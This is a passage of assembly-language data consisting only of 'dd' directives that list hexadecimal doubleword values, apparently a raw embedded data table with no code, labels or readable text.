2B311CA4h, 8DCCFC13h, 708CE705h, 2DECE0h, 188E5B1Ah dd 28E9FA01h, 2E64242Bh, 6FE19221h, 37D016CBh, 6719B907h dd 0B5A7447Ah, 12FE143Ch, 5F780CFh, 40DCC8D2h, 68D029C9h dd 59E38C7h, 0E1195E60h, 9649078h, 2BAEF298h, 80E61502h dd 0CF3810Fh, 8230D5CFh, 0A5989DB0h, 0B87BB450h, 2D301032h dd 9D11572Ch, 3C032A5Bh, 0F8A2EA08h, 0B55260E9h, 0B6C8B94Eh dd 47F2CABh, 80A62AB2h, 2709E208h, 0C16FBF1Dh, 85829FAEh dd 0F77ED33Fh, 0E948B3E8h, 4AB9C349h, 0F18783EAh, 0B06E3FFFh dd 5D580417h, 0F3BF00FBh, 3865710Dh, 0DEBEF81h, 0E9423C79h dd 0F2ED6B7Eh, 8B31C0C5h, 0F1D45A61h, 39E32F1Fh, 3A205AD4h dd 9FA054Eh, 0E37F2DFAh, 0E0FAD5C9h, 68135AA9h, 3CA37F55h dd 31725780h, 0BD3B0520h, 1628354h, 0DD4268C8h, 26EE9F5h dd 952CACD4h, 0B76042D4h, 4D0BE9BCh, 0E3055A42h, 87D38703h dd 0BF5439AEh, 0F157FADh, 0DD35A4B2h, 0C957F39Ah, 43B316Ah dd 902AAD10h, 0D71B03C9h, 0F7AD614Ah, 4406F203h, 90B7209Fh dd 157EF362h, 35261E90h, 17AC5C2Ch, 0F522C9E2h, 94687698h dd 0C8DA075Ah, 27F75125h, 506259E8h, 0A7D9D949h, 63A82D74h dd 740AA734h, 0E495ECEFh, 0B6FBA152h, 3A309292h, 91376468h dd 3D7AC7Fh, 742E71BDh, 117B444Ch, 452FB759h, 47926DFEh dd 9DC580FAh, 3325E935h, 0D6171220h, 77EAC0BEh, 86903613h dd 8121B107h, 7789E909h, 7C928A0h, 54092B49h, 0E64BEB68h dd 0BD520F0h, 464AB9FAh, 0AB929EADh, 0EF02A8F3h, 2D7F7113h dd 3C425AE2h, 35070809h, 0DE30389Ah, 977C5F3Ch, 0B722FE00h dd 31160C74h, 771D5DEEh, 0C7998E99h, 50376D3h, 0D6BD83F7h dd 0CA89EF8Dh, 23A80041h, 1505537Dh, 907FE30Dh, 1174E7BEh dd 51352C01h, 4A64BDB9h, 4D47E9C4h, 0A40572F4h, 4D9C30h dd 8322E28Ch, 0EA008133h, 1D0EF80Ch, 4DE9D131h, 0BA5B2582h dd 277C6636h, 41222AACh, 0DD0BC133h, 64E908BBh, 0F76B60FAh dd 0C64ED764h, 89C75F1Eh, 53903A51h, 0F7780D26h, 0D0BE53F6h dd 0E558540Eh, 0D0E902D4h, 0FB71B407h, 25E4B255h, 0BC4F937Ch dd 304FBBD3h, 88C5E4FBh, 5A79EAF3h, 4A2C0965h, 67C29400h dd 0A5983B08h, 0C141FA01h, 0A109E932h, 0C6888F8Bh, 12815A04h dd 8606C5F8h, 8842C74Fh, 2EC2C03h, 0B9CD2927h, 28B07223h dd 2E44B95Ah, 47EF185Fh, 59D8E9AAh, 28062222h, 0DB6224DEh dd 0B1A05766h, 9659FB05h, 9E2D0703h, 0AD364571h, 0B98088EEh dd 0DA9033BAh, 996FC97h, 30DD4481h, 82AEB33Ch, 0E0F28360h dd 40E17407h, 79E3D509h, 0EB89124Fh, 5F798F6Dh, 41B2992Ch dd 6022F5CEh, 28737204h, 644A39F8h, 7F2F89EBh, 5A27F9F8h dd 0D6384F0h, 5B0E4341h, 1E14A80Ah, 0F79F5A09h, 0D977D9EAh dd 0FEF89B16h, 0C8126AA2h, 9F9DA223h, 0D7837016h, 0F509D768h dd 5FE9FF38h, 678CA05Eh, 0B96A40F5h, 2648F909h, 0B4D78029h dd 95D839E0h, 0DBC853DEh, 0DF565B09h, 0E90BC9DBh, 9DFCD049h dd 0EA937379h, 0D3C793BBh, 179C462Ch, 5CFEF70Bh, 0CC1CE202h dd 5C140009h, 0B754993Fh, 0EEA04ED8h, 5A04B17Bh, 34E2E96Dh dd 68C2AFEDh, 71591465h, 1C442B8Eh, 0D07C792Fh, 0FE64EFE9h dd 0EBB5998h, 0BCB360BBh, 0FC2BC9E0h, 1E7725A5h, 78E9134Eh dd 0B954D085h, 5F9FDED7h, 0BF575EB0h, 5AC50F86h, 1E50B3Ch dd 9FC84FDh, 96D75F08h, 0F9892D6Dh, 0C101E1CCh, 6B744A65h dd 0CE360168h, 3E7CBD02h, 0B7527BA0h, 3814D320h, 0EA00BEB5h dd 5AD08859h, 0C776B050h, 0C33772E5h, 20A0EF80h, 8E261006h dd 16084D28h, 2B890E2Ch, 4C7D3489h, 0E090AE14h, 4968809Ch dd 0B58C2A4Ah, 11271D5h, 92EE812Dh, 6EB60EA2h, 0FD054400h dd 0FE0CF76Fh, 0E0560751h, 0CAD82938h, 11543E07h, 3701E43h dd 9DDA777h, 0B1C57DEBh, 61E12517h, 25BFDCCh, 6866C5FEh dd 0EE5A4E12h, 3FE8883Dh, 0E3F45B50h, 5A5D800Eh, 600B68B0h dd 847EB231h, 0F8AF8463h dd 253FF612h, 0F6C8ADDBh, 1F1F81B9h, 32093865h, 0C1269B11h dd 2880C3FFh, 4D133BBEh, 0F604817Bh, 0C0312AE7h, 0A8E915EEh dd 5C006F48h, 0C1741669h, 0F99D06E8h, 250501F4h, 740448ABh dd 0A95BE98Ch, 0EBB59AE2h, 4AD453C2h, 0B57C7778h, 0BD347769h dd 0B901139Eh, 5F4A5E5Bh, 832BAE30h, 7C62DCD9h, 1E64DC32h dd 0BEA4E16h, 0F1F6C742h, 6885192Bh, 9F301D0Bh, 9271E952h dd 0C6800759h, 0A3682C23h, 140E065Eh, 0F204EDB3h, 411AE5A0h dd 2F0B6186h, 6EECB6B5h, 0FA16D35Bh, 15BA5141h, 0E2EE33C0h dd 0E9070134h, 203AFACBh, 7AB6892h, 0E1FFF39Fh, 0A7FC03E9h dd 87ADC36h, 25009E0Eh, 17F4540Bh, 60D072F7h, 526140D8h dd 94F6B04h, 2DB0CCECh, 0CE42CDCh, 0FF0F8CC9h, 0A0D14D98h dd 0F20D80h, 35118468h, 6AA23619h, 0F4802F98h, 24C7A5CAh dd 0B074F909h, 12FAEAD4h, 5FBD8218h, 0F75091D6h, 0CF872DD1h dd 271ACA54h, 47A2DD29h, 220DD641h, 82742C30h, 170B6D4h dd 805B1C7h, 68018EE2h, 0F1C4A682h, 0C642B86Fh, 4F201FDAh dd 1052B656h, 0CD41B5A6h, 55F4B87Bh, 1FC16E7Ah, 756EA0C1h dd 0C529E2D0h, 35913CD2h, 0B800F3D6h, 374F0476h, 6A229C02h dd 1FF161E3h, 0AA3A9E25h, 9FC60538h, 0C3725DEh, 0E1CD08E2h dd 0F26FFE5Dh, 850BD2F1h, 14E7EFDh, 302309F5h, 0B4DD7010h dd 0C9D1816h, 9469C7EBh, 776609C5h, 0BFA5A9AEh, 0ECC2EEE1h dd 963E460h, 2ED11540h, 367A2409h, 9984E24Eh, 6BCFAFh dd 850FDB0Bh, 9EFEF560h, 0F686B067h, 174EF97Bh, 0E2054DBDh dd 80F067DDh, 9D2FC235h, 0EFE4DF4Eh, 0DAE85E83h, 20D9458Fh dd 0F240E11Ah, 44D40BBBh, 5C856250h, 0EEB1C8C8h, 16D27E9Fh dd 0E497B95Bh, 13F28283h, 0EECB87B2h, 66E6E680h, 2F107F58h dd 0E3D4315Ah, 0BAA8776Fh, 683BE28Ch, 0EA975C71h, 5C47D826h dd 9D3CED01h, 32BF2267h, 9A40A44Ch, 828261BAh, 6C5696E5h dd 7E6813E6h, 2267BE39h, 9DFEC2B4h, 0D882014Dh, 82FA045Ch dd 8F455A83h, 0FCDA288Bh, 69067099h, 0DCC755C2h, 9DC749Eh dd 0ED71BA2Dh, 1EEAC58Fh, 5B4A366Dh, 71C1FD91h, 48DF5A0Bh dd 35E81C31h, 0BF8D5E57h, 0E913DBE3h, 0BEFCC015h, 8BC519ABh dd 34FF09D7h, 6D9CBE3Fh, 392D4A7Fh, 16BE2A8Ah, 3D8BFEBDh dd 0DD625E3Fh, 0F97AD3EDh, 2D6D5738h, 8214DC02h, 0B1E959C8h dd 0BA05E158h, 47F43681h, 0B6112EBh, 181A25D3h, 9D95FADDh dd 0F849CAF1h, 3C609E4h, 0F0D67931h, 0A5270582h, 4759DD9Bh dd 79B92165h, 0BD77C194h, 0D2F82AC1h, 8A41D058h, 5BAF7F30h dd 0F871FA01h, 0B42E5BDEh, 7C4A1803h, 7EF88BFEh, 3213CC5Eh dd 0A85B58B8h, 8EFBB1CBh, 0AA9F4022h, 6A6030DEh, 4180EF1Dh dd 8530D02Ch, 22EE968Fh, 0F75FFE29h, 0D60B18C2h, 68D048DEh dd 31584B6Ah, 59069C2h, 126FE1B0h, 0AFEACC47h, 616A8404h dd 0E3C5E8B8h, 0BA8225EBh, 5BD8D9E4h, 0EF91D45Bh, 144AAE81h dd 40D13B60h, 0B509B916h, 801BF47Fh, 0D3511D55h, 1E92673h dd 89FEA777h, 0D6915809h, 0E20544F4h, 0D474B03h, 93EDE7E9h dd 0C388C32Bh, 8BDF56D2h, 48D0E4FAh, 0E07D1408h, 2D6495C9h dd 0ADC574B7h, 5200D465h, 5F2A6853h, 0E40E4865h, 0CB0C30Bh dd 29FCC155h, 5867F73Eh, 0BF6D204Ah, 64520F7Ch, 4D283587h dd 9412BAD5h, 5B4F82FAh, 0C07EF45Fh, 8CA8E950h, 7B958A3h dd 550FA563h, 22D7C8C2h, 4579F100h, 36953D16h, 9E40E549h dd 3C023D07h, 0D89A3A7h, 263E07DDh, 0AA4475A9h, 0DB36D4Bh dd 0AED08812h, 22A88E5h, 0E34ED9D4h, 209E27Dh, 906BAEAh dd 83016E87h, 8D2F2842h, 0D7EC72EAh, 78F8AD0Ch, 89DB65BFh dd 0DD443E52h, 88395178h, 94E05FC2h, 0D125402Bh, 41DE34Ch dd 60AB0194h, 0F650F8ECh, 1D771078h, 0C2B44B7Ah, 5A1212CFh dd 0A8EDA091h, 86D2F7CBh, 28A5136Fh, 5EB9B8EBh, 0C347B069h dd 43E908A0h, 0F1277060h, 126E8DBAh, 0AACB01B3h, 0F8D210B6h dd 7766C92Dh, 0EFE212EBh, 0ED803870h, 3B9A3374h, 566ADF65h dd 0E581C330h, 78361347h, 0E15CAA3Dh, 0B531D4C2h, 0C008050Bh dd 1C6F4A3Ah, 70AC3FF7h, 27D1BC5Eh, 0FE428149h, 7B20F6CDh dd 0D32348FDh, 88090881h, 360DEC71h, 0D05D2792h, 6113D6D9h dd 0FD6CF342h, 0A53F87Eh, 72190C76h, 0E9283CFDh, 25049F08h dd 0E5A3EE59h, 1B2B9FCBh, 9246EC0Bh, 1A602AFAh, 28E5B86Ah dd 0EC095F9Eh, 9458990h, 0B9CFE3Dh, 0C296575Ch, 31F46812h dd 0E982A1F6h, 0A27584A4h, 90A11FB7h, 3D2CE0FAh, 0BF987ECDh dd 18E317A8h, 7606890h, 0FC4F4D22h, 680CC155h, 2FA545DEh dd 0D72145C1h, 76FCCB3Fh, 37F34A4Ah, 1BD1C99h, 0F8412958h dd 80009907h, 0DABFC8C3h, 8B2FEBA7h, 0E2662564h, 0F27C77E2h dd 4EEE5C58h, 8BC9F3FEh, 94E2948Fh, 6CB0028Bh, 0E77F0185h dd 397925C6h, 0EA9215A0h, 0B5CF3D9Eh, 0A50502A8h, 404EDD12h dd 0BD1D833Fh, 5CE52DE5h, 2AD600EEh, 0DD01794Bh, 4FC51197h dd 7A9FF12Ah, 0AED6D4A2h, 0E85B5DDAh, 49E9CF96h, 98F46440h dd 45A64BC9h, 0F9934895h, 1D6C09A8h, 29888222h, 0A2C809AFh dd 80800B25h, 250E73CFh, 7460F3F7h, 0EAF6FA28h, 0F0955BEAh dd 0F1E14980h, 3527A04Fh, 0DDF2B35Ah, 0A4020BB5h, 0F252BC05h dd 48EF48ABh, 7E8C0B47h, 5A25048h, 0BB333880h, 0CA33C429h dd 0D9F7162Eh, 971A701h, 0AB2F394Dh, 0A97E7822h, 1B0101A7h dd 40E6E40Bh, 30528579h, 0B70C6FC2h, 4C40826Ch, 7CA4F415h dd 0D3CB0446h, 0C07BF653h, 0BFC3B9BCh, 2EFF2B4Dh, 35E09901h dd 4ED417EFh, 4E85E946h, 3B29C7BAh, 25DD675Fh, 8EC205D6h dd 9414D7E0h, 5D4A6812h, 0E9C92CFBh, 27C59159h, 4D3AF75Ch dd 42C481DDh, 5080070Dh, 3808442Fh, 550FCA01h, 76F5BDh dd 0E9E5D106h, 91245B79h, 898348EBh, 89EB300Ch, 0D74642D6h dd 0D0BE483h, 0D6C4734Fh, 2C0386EDh, 89319917h, 9D90A2CCh dd 4361E781h, 0CBE53FCh, 42742E00h, 62DDB850h, 353ABB00h dd 3D557343h, 36F60005h, 0F50D28C0h, 6309F917h, 0F66771E9h dd 1CB280E8h, 0DF686CA2h, 30C003B6h, 9001197Ch, 9F50F4AEh dd 32465E82h, 7151580Bh, 0D48FA04Ah, 37AF0F57h, 558CE942h dd 0ED07C05Eh, 0FBCD8006h, 0DFB0BCB5h, 5B662458h, 0F231278h dd 1AD2CC80h, 1BC13215h, 70520746h, 52CDA262h, 3E3A44CAh dd 0DCA7A3F5h, 4629027Dh, 0E0665F9Dh, 55665AB6h, 0B8EAFC17h dd 503F557h, 4EFF4B9Fh, 63920BB9h, 9F8B7CD0h, 408CD565h dd 4AA2A571h, 0C689CC75h, 51056600h, 4002E181h, 495525F4h dd 0D4272A74h, 0FB5444E9h, 829CD764h, 0CF444B8Bh, 41C04E75h dd 0B868E034h, 6214B484h, 0B2D7EE37h, 822009B1h, 75269655h dd 0AC2C5D5Bh, 580C9A10h, 0F544D301h, 1EEFBB80h, 8B2CCB0Dh dd 0DDC4356h, 69192188h, 142F6C7Ch, 8070E410h, 0EF068147h dd 22A721B4h, 142A0B0Ch, 0F2D06DDFh, 76D10925h, 0B09E310Dh dd 9EE36A7Bh, 8F055958h, 0FE299954h, 1285F043h, 8812C5ACh dd 29AFEE85h, 0D2B22AE9h, 0EAF2E9C1h, 29C68BFEh, 0EFF6F8EEh dd 0BF8D12B4h, 0F221B681h, 1331AE3Ah, 0F034A2E9h, 0F3682F5Ch dd 0AF2C12A5h, 605E02CEh, 93685DF4h, 5CCC514Bh, 42131006h dd 602284Dh, 8E1ED05h, 5A83374Eh, 52F0E5E9h, 27F30180h dd 0F6F9B551h, 9181E2D5h, 3B57ACE9h, 17AF599h, 0BB5E4378h dd 13FC3E7Dh, 0FB6CD29Dh dd 648A15A6h, 0BD25AA8Eh, 0DF926745h, 0AB4956ABh, 7E0BB301h dd 14F4165Bh, 0B8AFB59Eh, 45A82062h, 0D51CAE01h, 7C180D82h dd 0F1551A12h, 13F180A6h, 9837BECh, 16F6CD5Ch, 0E8A9BF68h dd 373FAF13h, 895A87E6h, 276F6D7Ch, 0DF0B0784h, 7D5B504Ch dd 368ED01h, 0D2DF2C43h, 40E866DAh, 149B514h, 90E58A9Eh dd 922D588Bh, 1F40753Dh, 5582FBB7h, 0C54878F0h, 4FFD3D1Dh dd 305DCDBAh, 2918E8A6h, 570C431Ch, 185B0907h, 8AE0FFE9h dd 0BC4BB353h, 0E31C18FCh, 6CCCFA47h, 0B93F5A51h, 0D5FFD384h dd 8E2941DAh, 601E2F46h, 7A2EA63h, 3AD3FEC1h, 86A147BCh dd 0F7936422h, 707CF4A4h, 44A95682h, 0E3B4FA29h, 127FBCDDh dd 2DC7EBBFh, 845FF9F2h, 1FAC0629h, 84D9E75Bh, 0B2FFEF27h dd 62A8D6EAh, 0D4A3BC4Eh, 10FE5F81h, 0FE5F9A98h, 5F45A420h dd 247E6F7Ch, 3B2938D9h, 80305A5h, 3097DDE9h, 8D5EF1E3h dd 0C8E9C387h, 0AC17C400h, 95F520F3h, 3186BA04h, 0A1AB48E7h dd 3002FC4Dh, 0B6CD5EBDh, 0E07AA0Ah, 0E9BE8B6Eh, 0C4A4FA1Ah dd 77D16409h, 2495ADBh, 0DD656A1Bh, 0D37F7D3Ah, 0DBE904D9h dd 609F88DAh, 78B33A10h, 552C5838h, 71C902EBh, 85806F6Dh dd 0DE231FC1h, 0E413B30h, 52A25D69h, 5C137B44h, 0E9174766h dd 1FE994Ch, 7830F273h, 87461EC9h, 931A09F2h, 5DCB47DCh dd 14D5EC8Bh, 18732D93h, 7909EE73h, 20F7E61Bh, 59273F5Dh dd 0DF87A930h, 1ED56A0Bh, 93EB941Eh, 0C5F3AF27h, 806ADB05h dd 0F70C8063h, 6860B504h, 21E4EB0Ch, 9BE2B596h, 41D2D509h dd 5912EC9Ch, 5897A7B4h, 94B0F186h, 355B1448h, 0CE81BF80h dd 66030230h, 2488E93Ch, 3756C555h, 0D0C6F509h, 0F6ECB2D5h dd 2507DA48h, 12FF7B28h, 17B61A54h, 4BCB1A57h, 7A66F255h dd 7AC20602h, 0C47EC56Bh, 3025077Ch, 82C5EEAh, 0C10AC80Ah dd 8908BCEBh, 0C85D1526h, 895FA75Ah, 11D6905Ch, 558C244Ch dd 659617F1h, 0C13C9C11h, 58C94564h, 3E0874C6h, 0F993CDFEh dd 0E8174B08h, 12F4A509h, 86FEC197h, 0DEBF0C13h, 0EB82271Fh dd 500306D4h, 0CC80B8B4h, 0BABBF61Dh, 0D7881CE0h, 192BEF6h dd 0DD277126h, 9F938B53h, 16D7EED3h, 0EB206B68h, 0F6AA1E71h dd 0D50F8104h, 2070F171h, 0FB0433AAh, 0CB292B52h, 0E99F3CBAh dd 7BD86E2Eh, 0F6102B84h, 27352AFCh, 6E12BE0Dh, 0A01A3DFEh dd 5E16E597h, 38097A12h, 50882BFFh, 0DBEF9D0Ah, 7984BD9Eh dd 7EE30B5h, 2DCF7FE9h, 3F0035FEh, 6F679181h, 65546602h dd 0CE6DC51Eh, 0A2BA95C4h, 0DA49B254h, 685F0B11h, 64DB218Ch dd 2B5A918Bh, 20281180h, 55108D7Dh, 0F6395AE6h, 0F656FF2Eh dd 7B8BBF56h, 20F4A34Fh, 477E97D5h, 75F4BB41h, 82206FC1h dd 5A9C90EFh, 6076E868h, 3825AE3Ch, 85F79553h, 31890D80h dd 2D1BF23Bh, 20295F6Ah, 580D417Fh, 134CFD6Bh, 0C6E9484Dh dd 1480F925h, 0E3338CBAh, 5D521719h, 0BE00B9C8h, 542529EEh dd 789AC27Eh, 0F6E9188Eh, 5FFB7921h, 0E3D55A4Ah, 8FF07684h dd 6A0507ADh, 0B30CFE20h, 940A3C28h, 0B9324068h, 0D62BBA67h dd 0C2DD4927h, 0C1E90B35h, 0B3202152h, 6F0F4185h, 91140CF2h dd 0AA4AC4E5h, 0C4BEF212h, 0FACEA20h, 0A23C23C4h, 61F7EBEh dd 52F54FE7h, 0B9494AF8h, 90F2AF93h, 0F855DA16h, 8BBFA530h dd 54681EF5h, 22889E64h, 91CC301Bh, 394FB30Bh, 5C4AFEF0h dd 5E398081h, 0B80050C0h, 8021B6Ch, 1668E05h, 0A60D2510h dd 0BF715327h, 1101788Ch, 400AB10Eh, 0BEB94E9h, 3D7368F4h dd 7D25CB4Dh, 299A1B14h, 0E6A0394Ah, 6B959159h, 0EEAB42DEh dd 2C595749h, 0F9EF5144h, 1229A269h, 0C3743582h, 0C8E28001h dd 49E4B2E3h, 7B7BC5A5h, 525006D9h, 4162EA89h, 0BEB03E37h dd 80C1BD08h, 0F9C8A597h, 59C002AFh, 6AF5E0F7h, 9895D82h dd 0F448CB71h, 3D7A8652h, 1747EC2Dh, 2501AAE4h, 0D5B0FB37h dd 28755791h, 4E49065Fh, 4D5B102Fh, 0C8BE46C5h, 5226B540h dd 0A083EA2h, 0AFFD252Dh, 23F8E193h, 0E07F223Bh, 3D12A7DFh dd 0E5E1585Ch, 0D2CEE8CEh, 9294C1Eh, 0A2A2EF17h, 0B538199Ah dd 5E29D90Fh, 145A642Fh, 0F40A0420h, 3D439EBAh, 0E90C9013h dd 3C029278h, 827C4943h, 7503EAE9h, 8EE94181h, 0F44B83EBh dd 0D27B3550h, 2D4E7ECAh, 31BD7A1Eh, 0B23E5B58h, 53CCC443h dd 0BBF50104h, 0E27A372Dh, 0F168C25Bh, 0E02D6C46h, 3B262D3Eh dd 704E2455h, 5559DFD1h, 1F2D5520h, 5725B22Ah, 0C10BB441h dd 0E3950198h, 0A9125A8Bh, 0C2BD805Dh, 507C0E10h, 1641C745h dd 183F1EFh, 5716A192h, 1DBC6073h, 6FDD2A12h, 8C150BBh dd 2F141C68h, 0E98BAC45h, 0AF51DCA8h, 0DDA5FD7Ch, 2E70EE0Dh dd 0E939FAE8h, 0AC48B4AFh, 62480C48h, 6FC845FBh, 6D035AB8h dd 0C082EE80h, 1BD8099Dh, 0FC667A61h, 883BCFB2h, 205A12D3h dd 855EC3ABh, 0D0010601h, 0E9B551ECh, 22C3ACFh, 5E94F398h dd 693EDC05h, 2D28E543h, 0E65A0709h, 83E90937h, 0F17DFEFDh dd 0E2B0C2A6h, 89F5006Ah, 0BDF160B1h, 551C1265h, 40C5BC30h dd 0EA09F5B3h, 0D08067DBh, 2DC793A5h, 483BB880h, 0E92F1C92h dd 0BB8F007Fh, 39DFC468h, 5BA4313Eh, 0B8351671h, 0CF2AD873h dd 0DFA09756h, 0E30DD9C2h, 0AD5D57B0h, 0CBEA4A01h, 5E2C3D78h dd 0E03FBE6Dh, 0B5A9E782h, 30EC935Ah, 398033FBh, 847EECC4h dd 0B8BB5B08h, 0BD551620h, 0EBA924FBh, 32754h, 0DC9F06F4h dd 55DEF89h, 0A45BC82Dh, 9183BA60h, 0BF7D3BB7h, 2A751380h dd 491CCF81h, 0C10D4609h, 0E73580EFh, 5AD47FF0h, 0C7059045h dd 0C42C5804h, 2D93E5FDh, 80E52FEh, 0BB224078h, 0DB0C3390h dd 5031CD1Fh, 4F470003h, 0B46BF781h, 919C510Eh, 0D4F1A639h dd 37179001h, 0B3695E57h, 464F984h, 0BDFCFD31h, 5BE245D2h dd 5E9C09E3h, 708C9D40h, 90FB2980h, 9476B5A4h, 7A5D5F0Bh dd 0BBA720F5h, 1734AC58h, 33914CD1h, 5E02D775h, 18E14057h dd 85A31h, 7B942D96h, 29144DEAh, 7C0705F0h, 0D0D714A3h dd 0E94E5350h, 89327933h, 773BB9CEh, 0C3098525h, 0F877292Eh dd 3A137B6Fh, 0B5AD2D72h, 48581775h, 0EA1B05BCh, 54758C4Bh dd 0BEE95909h, 57987DDBh, 4897441h, 0BDDCE02h, 945F5E3h dd 0C9196C42h, 6E2DD925h, 0E8F68F84h, 8FEAD242h, 6118608Fh dd 951AFE4Dh, 0F43DAC04h, 5C70EFC4h, 0C127C34h, 0A5CBE1AAh dd 0D70A570Ch, 0CE250B7Dh, 8A07187Dh, 5C40C036h, 4404F028h dd 0B3535103h, 0D249B1AEh, 30D541D9h, 23076C79h, 0B554925Dh dd 0B549EAE4h, 0FA71541Ch, 0D2D5A029h, 2C5F258Fh, 7E13B97Bh dd 9DE98ECh, 0E1E40D93h, 0A8B84C9Fh, 9585DCDh, 3F685156h dd 0EB32AE84h, 0B2E28D6h, 54FD60B2h, 0FF252EDEh, 64951480h dd 0B1BB0A9Ah, 0D204CACh, 0ED58E912h, 4EEA30B0h, 4A8EA890h dd 0E9D061EFh, 82F73146h, 0AF638427h, 8F01DD10h, 863E0CFAh dd 7A0FE932h, 9096A1E9h, 61914CAFh, 2F29F102h, 0BAF0B8A1h dd 0CD5AC412h, 0CF090640h, 6EF3DD2h, 0FE10459Ah, 0F8F1A105h dd 0FEEC16C1h, 0DF2DEC72h, 0E2E97AC8h, 0CFE7A34Fh, 522CEF5Ah dd 8FF42DE9h, 2FCD9C75h, 75C90823h, 0B9E16A57h, 0E5ACF93Eh dd 9447FC04h, 0CBFE4F0Bh, 2CA0208h, 73AE6866h, 0B2361355h dd 0F25709DFh, 0D2D377D3h, 4C7B0D91h, 58E56A0Dh, 0C2D8E87Bh dd 5D88E0F5h, 0B405A27Eh, 659563E9h, 0D563A6BAh, 0CAEE4A4Ah dd 2AAA4AD9h, 0A3CB5C89h dd 0DAF6105Ch, 48915099h, 7AD7255Bh, 0DFBC6FD5h, 0CD98C32Ch dd 0DE2E890Dh, 4DB5DA32h, 680BBB39h, 0C3D915D0h, 0C030188Fh dd 7A0D256Ah, 40280B0Bh, 0E5A4AE9h, 9EBEE5Ah, 1DA156ECh dd 6A33BF6Fh, 84EFEB25h, 5E0C0967h, 3204FAB3h, 37A619Bh dd 0B46D1C0h, 445A33h, 0BE2360E9h, 42C1491Dh, 18727412h dd 8EFFD27Bh, 40180AFCh, 2E4AE23Ah, 32DE44F7h, 0C450221Eh dd 27A3CCBFh, 31FFD1BEh, 0B72B54A1h, 98BE4BE6h, 3440F2B5h dd 0B4500766h, 0B2E52814h, 0B200C578h, 7CF280AFh, 6145BD86h dd 0B90983A4h, 0CD1127E0h, 27650767h, 39CEA87h, 0AE8D2DE9h dd 34A36DAh, 0F87FA38Dh, 32295030h, 407F6505h, 0EBFCB29h dd 6667E4E2h, 0A6F3F07Eh, 5160D838h, 0A975F80Ch, 0B8019D63h dd 202B3F5Ah, 5E8147BCh, 10D11E30h, 2E60CE20h, 0A01D925Ah dd 2E20EDA0h, 8FF65FFBh, 1CE64ABBh, 25F26808h, 0B3D0E904h dd 3EF22C95h, 439ECB9Fh, 68D64B23h, 372C7E8Bh, 86B12C54h dd 5003CD8Ah, 2BD02EE1h, 8C9F6CF3h, 0F21D42DFh, 4F20B20Fh dd 0C0686643h, 0DB2D0516h, 0AB2B7026h, 4807BA10h, 0DEFA1766h dd 0C06F45A5h, 84F94A2h, 4A57858h, 0C9B9FA6Bh, 28F2B6C0h dd 0AC92A364h, 801C884h, 0FF9E1FE9h, 673CAE3Ah, 0B8F325E9h dd 81687676h, 1D627D25h, 0D5498679h, 0F600D2F8h, 4BAE187Ch dd 0C010A5E9h, 3B8EBD42h, 0A9F5924h, 0D3D1EB9h, 0B209F2BCh dd 6B67E86Ah, 7942570Ch, 3F3D5AC1h, 0BA9290BCh, 369AEF94h dd 0AA65E9C3h, 0E3804E0Ch, 0ECF806B9h, 0F68A19C3h, 2F6B0ADBh dd 4FD07AF0h, 0C2BAE4E2h, 0E985D4FBh, 84B0DD4Bh, 0A936A55Eh dd 273E689Dh, 0D6049A9Ah, 1F3A068h, 4F03D648h, 0D405E10Bh dd 1CD7A5C9h, 13A9191h, 3A5A7668h, 59742171h, 0F754DA50h dd 0CAA4E9C1h, 5080C278h, 6C32C7B8h, 3A9334Bh, 1687BCD6h dd 39FBE691h, 0DDA6F86Ch, 6290A2B5h, 82D50B4Ah, 1994C1h dd 0C0FBB252h, 5105E201h, 0C180B5B1h, 737BA47h, 0D8E9CA00h dd 92459DF3h, 7F020624h, 744492Eh, 0BE93D5BDh, 0E825E604h dd 4F670C18h, 98802996h, 68204CB0h, 31694F11h, 226F55h dd 2506F12Dh, 0CA464F14h, 0C3C0C999h, 122730D4h, 4ED7E946h dd 0EAD287F2h, 2A2E13A4h, 1A24075h, 5B67A36h, 34A666E9h dd 1245677Ch, 0BB0E6ABEh, 5C9830C5h, 20F32156h, 0D7413FEFh dd 69B3B22Fh, 80D302B2h, 9DE109ACh, 8989E656h, 0A2ADDC25h dd 0B9CB9E2Eh, 6D670220h, 91517712h, 88FC2113h, 0EF2F0F87h dd 0E58FAEF6h, 64DD5C27h, 0DB4516A8h, 0DFAEC1FEh, 6BB64967h dd 825EBBD2h, 7B543FFh, 0EEE96E89h, 0B68DA77h, 52D761F7h dd 0EF1E4077h, 0CA17160Dh, 0B086FF74h, 0F8FCF908h, 0B22D0B6Ah dd 502B0DE9h, 9AA8CED9h, 50A8064Eh, 0B2202448h, 0D7525A69h dd 0E982C42Bh, 47D6AF2Fh, 6C581440h, 3C289030h, 0F04B5C22h dd 0F2160F1Fh, 0C0AF0A76h, 0B357C6A1h, 0D0B98E28h, 6E39D913h dd 9E66FC0h, 1381A31h, 80D3AF3h, 5E14020Ch, 98C3C6DFh dd 5D06401Ah, 0B09494B7h, 0EE899DD8h, 0BEA03655h, 551E889Ah dd 0A4ACBF0Eh, 0C1AF46B5h, 0D8F51284h, 94B8F389h, 2BF8075Ah dd 7941A1CBh, 26B6F852h, 0D90A8593h, 0F787E21Fh, 38C453C4h dd 56FA1084h, 605FB156h, 735AE0B8h, 597960E3h, 51090036h dd 0EE075366h, 0D24FB2D8h, 0E8FD90CAh, 3E7E7AF0h, 0DE3676h dd 75371954h, 9535E972h, 3982FBD3h, 8123EAEEh, 5762E18Ah dd 0C31E0ABEh, 0EA2D87F3h, 2A1C7230h, 0FDA635FBh, 2D03B010h dd 6A3F2879h, 3C4916D2h, 0F2412866h, 0A9C7C157h, 89B7E83Eh dd 0CFE1E831h, 0D47D82D9h, 8B9F7B62h, 212745CCh, 95447A57h dd 68C107D9h, 0B78855D1h, 8000B510h, 0E6C015EEh, 4FC6EC07h dd 8E20A14Ah, 0B9CA0406h, 0C441F6BEh, 0A9042235h, 0F9C60167h dd 910ADFDh, 267D0278h, 405C8C05h, 6AB53FBEh, 82AA5295h dd 0E98A2208h, 3DCED615h, 216A548h, 0C4B7ACEAh, 3107235Ch dd 1422F2CEh, 0F8F7EB69h, 0EC0387Bh, 99604EB9h, 0E070954Bh dd 0DB2F487Eh, 0B690C63Ah, 8558C5C6h, 17B1DFh, 11D3EEF2h dd 895875EBh, 8E58C612h, 7D492925h, 9C492873h, 0BDBDC0E6h dd 83D7D7Ah, 53BF5702h, 4348D416h, 0CB4FD074h, 0D548B710h dd 42EB228Eh, 7770EFEEh, 1D97031Ch, 0CF41F7E5h, 6238E0BAh dd 6A85454Ah, 218F1FBh, 79555F0Bh, 5209430Eh, 9C8D019Bh dd 0BD4E68A5h, 0E90C2FB3h, 0C5E74029h, 0C3A71E09h, 162EC64Eh 